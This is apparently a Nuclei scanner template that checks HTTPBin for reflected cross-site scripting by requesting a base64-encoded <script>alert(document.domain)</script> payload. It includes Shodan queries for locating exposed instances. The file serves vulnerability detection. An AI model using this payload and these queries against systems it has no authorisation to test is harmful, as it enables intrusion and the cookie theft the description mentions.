id: httpbin-xss

info:
  name: HTTPBin - Cross-Site Scripting
  author: Adam Crosser
  severity: high
  description: HTTPBin contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/postmanlabs/httpbin
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
    shodan-query:
      - html:"https://github.com/requests/httpbin"
      - title:"httpbin.org"
  tags: xss,httpbin,oss

http:
  - method: GET
    path:
      - '{{BaseURL}}/base64/PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '^<script>alert\(document.domain\)</script>$'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# digest: 4b0a00483046022100db55dbcbc65d1e8d4cef5d13d4a3cecff8163d00708f9b9f03a019d7b5f13eb602210086629c2a074e0e07f35b415284620fe298526efaa5a66bf25f6c0aa52a4b787c:922c64590222798bb761d5b6d8e72950
